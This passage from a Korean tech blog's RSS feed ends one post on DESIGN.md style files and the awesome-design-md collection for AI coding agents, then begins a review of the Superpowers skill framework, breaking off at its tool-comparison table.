&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. DESIGN.md를 직접 작성해야 하는가, 아니면 컬렉션에서 복사해서 써도 되는가?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;두 방법 모두 가능하다. 빠르게 시작하고 싶다면 &lt;code&gt;npx getdesign@latest add {브랜드명}&lt;/code&gt; CLI로 원하는 사이트의 DESIGN.md를 프로젝트 루트에 바로 설치할 수 있다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md&lt;/a&gt;에서 브랜드 목록 확인). 설치 후 필요에 맞게 수정하면 된다. Google Stitch 환경에서는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/google-labs-code/stitch-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;stitch-skills design-md 스킬&lt;/a&gt;로 기존 프로젝트에서 자동 생성할 수도 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. awesome-design-md의 파일이 해당 사이트의 공식 디자인 토큰과 동일한가?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;동일하다고 보장되지 않는다. 레포지토리가 명시하듯, 모든 DESIGN.md 파일은 공개 웹사이트에서 추출된 CSS 값 기반이다. 브랜드 정확성이 중요한 공식 프로젝트에서는 직접 검증이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. AGENTS.md가 이미 있는 프로젝트에 DESIGN.md를 추가해야 하는가?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;역할이 다르므로 함께 관리하는 것이 권장된다. AGENTS.md가 &quot;어떻게 만드는가&quot;를 정의한다면, DESIGN.md는 &quot;어떻게 보여야 하는가&quot;를 정의한다. 두 파일을 프로젝트 루트에 함께 두면 AI 에이전트가 빌드 방법과 외관을 모두 파악한 상태로 작업할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현시점의 한계와 전망&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬렉션 파일이 공개 CSS 추출 기반이라는 한계, 유지보수 주기의 불확실성, 사이트 업데이트 시 드리프트 가능성은 실제 운영에서 고려해야 할 요소다. 레포지토리 자체도 2026년 3월 31일 생성된 신규 프로젝트이므로, 장기 안정성은 지켜볼 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼에도 이 개념이 주목받는 이유는 명확하다 &amp;mdash; AI가 코드를 생성하는 시대에, 코드 규칙(AGENTS.md)과 디자인 규칙(DESIGN.md)을 텍스트 파일로 명시해두는 방향은 자연스러운 표준화 경로다. DESIGN.md가 AGENTS.md처럼 많은 프로젝트의 루트 파일로 자리잡는 것은 시간 문제일 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uonMo/dJMcaiwgY4i/ADPqaEt3dbiK31HA7LPTbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uonMo/dJMcaiwgY4i/ADPqaEt3dbiK31HA7LPTbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uonMo/dJMcaiwgY4i/ADPqaEt3dbiK31HA7LPTbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuonMo%2FdJMcaiwgY4i%2FADPqaEt3dbiK31HA7LPTbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1994&quot; height=&quot;1080&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Google Stitch는 이 개념을 공식적으로 &quot;Vibe Design&quot;으로 명명하고 있다. Google Labs 공식 블로그에서 &quot;Introducing 'vibe design' with Stitch&quot; 제목으로 2026년 3월 발표되었다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.google/innovation-and-ai/models-and-research/google-labs/stitch-ai-ui-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Blog &amp;mdash; Introducing vibe design with Stitch&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://stitch.withgoogle.com/docs/design-md/overview/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Stitch 공식 DESIGN.md 문서&lt;/a&gt; &amp;mdash; stitch.withgoogle.com&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.google/innovation-and-ai/models-and-research/google-labs/stitch-ai-ui-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google Blog &amp;mdash; Introducing vibe design with Stitch&lt;/a&gt; &amp;mdash; Google Labs, 2026-03&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt; &amp;mdash; VoltAgent, 2026&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-design-md&lt;/a&gt; &amp;mdash; GitHub 레포지토리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/VoltAgent/awesome-design-md/contents/design-md/stripe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API: stripe 폴더 구조&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/VoltAgent/awesome-design-md/contents/design-md/linear.app&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API: linear.app 폴더 구조&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stripe DESIGN.md 원문&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/vercel/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vercel DESIGN.md 원문&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/linear.app/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Linear DESIGN.md 원문&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/google-labs-code/stitch-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;google-labs-code/stitch-skills&lt;/a&gt; &amp;mdash; GitHub 레포지토리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/google-labs-code/stitch-skills/main/skills/design-md/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;stitch-skills design-md SKILL.md 원문&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/commits/main&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md 커밋 이력&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/issues&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md Open Issues&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Design</category>
      <category>AGENTS.md</category>
      <category>AI 에이전트 디자인</category>
      <category>ai 코딩 에이전트</category>
      <category>awesome-design-md</category>
      <category>DESIGN.md</category>
      <category>google stitch</category>
      <category>Vibe Design</category>
      <category>VoltAgent</category>
      <category>디자인 시스템</category>
      <category>디자인 일관성</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/582</guid>
      <comments>https://goddaehee.tistory.com/582#entry582comment</comments>
      <pubDate>Thu, 23 Apr 2026 01:25:10 +0900</pubDate>
    </item>
    <item>
      <title>&amp;quot;하네스 엔지니어링&amp;quot; - Superpowers 리뷰 : 7단계 워크플로우와 14개 스킬 라이브러리 - 브레인스토밍부터 코드리뷰까지</title>
      <link>https://goddaehee.tistory.com/581</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2476&quot; data-origin-height=&quot;1380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgrL18/dJMcaiCYC2q/5UiCMivtWfjMCIB8mbnVf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgrL18/dJMcaiCYC2q/5UiCMivtWfjMCIB8mbnVf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgrL18/dJMcaiCYC2q/5UiCMivtWfjMCIB8mbnVf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgrL18%2FdJMcaiCYC2q%2F5UiCMivtWfjMCIB8mbnVf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2476&quot; height=&quot;1380&quot; data-origin-width=&quot;2476&quot; data-origin-height=&quot;1380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트를 쓰다 보면 비슷한 불만들이 쌓인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브레인스토밍도 없이 코드부터 쏟아내거나, 테스트는 나중으로 미루거나, 작업이 끝나도 정리됐는지 확인하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 에이전트를 감시하는 시간이 에이전트를 쓰는 시간보다 더 길어진다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1052&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HhuX8/dJMcaaSAnxg/pHz8qiO7iqedavmSDihhCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HhuX8/dJMcaaSAnxg/pHz8qiO7iqedavmSDihhCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HhuX8/dJMcaaSAnxg/pHz8qiO7iqedavmSDihhCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHhuX8%2FdJMcaaSAnxg%2FpHz8qiO7iqedavmSDihhCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1968&quot; height=&quot;1052&quot; data-origin-width=&quot;1968&quot; data-origin-height=&quot;1052&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Superpowers&lt;/a&gt;는 이 문제를 에이전트 동작 자체를 바꾸는 방식으로 해결하고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Shell 스크립트 기반의 &quot;스킬 프레임워크&quot;로, Claude Code&amp;middot;Cursor&amp;middot;Codex&amp;middot;OpenCode&amp;middot;GitHub Copilot CLI&amp;middot;Gemini CLI에 설치하면 에이전트가 브레인스토밍 &amp;rarr; 플랜 작성 &amp;rarr; TDD &amp;rarr; 코드 리뷰 &amp;rarr; 브랜치 마무리로 이어지는 7단계 워크플로우를 따르게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 각 스킬이 어떻게 동작하는지 코드를 따라가며 직접 확인한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: 600; margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Superpowers란 무엇인가 &amp;mdash; 핵심 가치와 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플랫폼별 설치 가이드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;7단계 워크플로우 상세 &amp;mdash; SKILL.md 기반 예시 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;기술 아키텍처 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;스킬 라이브러리 전체 목록 14개&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 시나리오 &amp;mdash; JWT 인증 추가 end-to-end&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;GeekNews 한국 커뮤니티 반응 + Cialdini 스토리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;제한사항 및 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section-1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Superpowers란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 README&lt;/a&gt;에서는 Superpowers를 이렇게 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Superpowers is a complete software development workflow for your coding agents, built on top of a set of composable 'skills' and some initial instructions that make sure your agent uses them.&quot;&lt;br /&gt;(Superpowers는&amp;nbsp;코딩&amp;nbsp;에이전트를&amp;nbsp;위한&amp;nbsp;종합적인&amp;nbsp;소프트웨어&amp;nbsp;개발&amp;nbsp;워크플로우로,&amp;nbsp;여러&amp;nbsp;개의&amp;nbsp;조합&amp;nbsp;가능한&amp;nbsp;skills와&amp;nbsp;에이전트가&amp;nbsp;이를&amp;nbsp;올바르게&amp;nbsp;활용하도록&amp;nbsp;돕는&amp;nbsp;초기&amp;nbsp;지침&amp;nbsp;위에&amp;nbsp;구축되어&amp;nbsp;있습니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트를 위한 스킬 모음이 아니라, 에이전트가 &lt;b&gt;어떻게&lt;/b&gt; 행동해야 하는지를 정의하는 방법론 자체라는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 잘 짜는 방법이 아니라, 좋은 개발 습관을 에이전트에게 강제하는 틀이라고 보는게 더 맞다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ByT6f/dJMcadaCCLh/d4QJwdKMjKrrI1RraOIlTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ByT6f/dJMcadaCCLh/d4QJwdKMjKrrI1RraOIlTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ByT6f/dJMcadaCCLh/d4QJwdKMjKrrI1RraOIlTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FByT6f%2FdJMcadaCCLh%2Fd4QJwdKMjKrrI1RraOIlTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1948&quot; height=&quot;1042&quot; data-origin-width=&quot;1948&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적으로는 이렇게 동작한다. 에이전트가 무언가를 빌드하기 시작하는 순간, 코드부터 쓰는 대신 뒤로 물러서서 실제로 무엇을 만들어야 하는지 먼저 물어본다. 스펙이 완성되면 &quot;테스트를 싫어하고, 프로젝트 컨텍스트도 없고, 판단력도 부족한 열정적인 주니어 엔지니어도 따를 수 있을 만큼 명확한&quot; 구현 플랜을 만든다. 이후 플랜대로 실행하고, 리뷰하고, 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기본 정보 (2026-04-14 기준)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저장소&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/obra/superpowers&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;버전&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/releases/tag/v5.0.7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v5.0.7&lt;/a&gt; (2026-03-31 릴리스)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;언어&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이선스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stars&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;150,374 (2026-04-14 기준 스냅샷, 실시간 변동)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Forks&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;13,005&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;저자&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Jesse Vincent (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;obra&lt;/a&gt;, Prime Radiant)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최초 공개&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2025-10-09&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stars 수치는 GitHub API 직접 조회 기준 스냅샷이며 실시간으로 변동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;대안 도구 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Superpowers&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;일반 시스템 프롬프트&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;전용 에이전트 프레임워크&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설치 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;플러그인/Extension&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;직접 붙여넣기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프레임워크마다 상이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;외부 의존성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;있는 경우가 많음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원 플랫폼&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;6개+&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모든 LLM&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;특정 플랫폼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;워크플로우 강제&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;HARD-GATE 패턴&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;부분 지원&lt;/td&gt;
&lt;/tr&gt;
